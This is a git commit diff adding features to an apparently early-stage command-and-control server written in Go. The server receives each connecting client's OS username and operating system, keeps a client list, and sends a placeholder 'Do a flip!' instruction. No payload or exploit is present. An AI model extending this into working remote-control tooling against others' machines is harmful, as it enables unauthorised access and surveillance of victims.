Get OS info from client

This commit is contained in:
raul 2024-06-03 10:16:35 +02:00
parent e8b29d5baa
commit 54eb74a97e
1 changed files with 43 additions and 2 deletions

View File

@ -1,16 +1,34 @@
package cmd
import (
"encoding/gob"
"fmt"
"log"
"net"
"github.com/spf13/viper"
)
type Client struct {
OS_username string
OperatingSystem string
Conn net.Conn
}
type Instructions struct {
Message string
}
var (
C2Port string = "1337"
C2Port string = "1302"
clientList []*Client
)
func (I Instructions) Send(c net.Conn) {
message := "Do a flip!\n"
c.Write([]byte(message))
}
func Server() {
p := viper.GetString("Server.Port")
if p != "" {
@ -35,5 +53,28 @@ func Server() {
}
func handleConn(conn net.Conn) {
client, err := getOS(conn)
if err != nil {
log.Printf("Error happened receiving OS information: %v\n", err)
}
client.Conn = conn
fmt.Println("Got info from new user:", client.OS_username, client.OperatingSystem)
clientList = append(clientList, client)
}
func sendInstructions(conn net.Conn) {
i := Instructions{}
i.Send(conn)
}
func getOS(conn net.Conn) (*Client, error) {
dec := gob.NewDecoder(conn)
c := new(Client)
err := dec.Decode(&c)
if err != nil {
bad := Client{}
return &bad, err
}
clientList = append(clientList, c)
return c, nil
}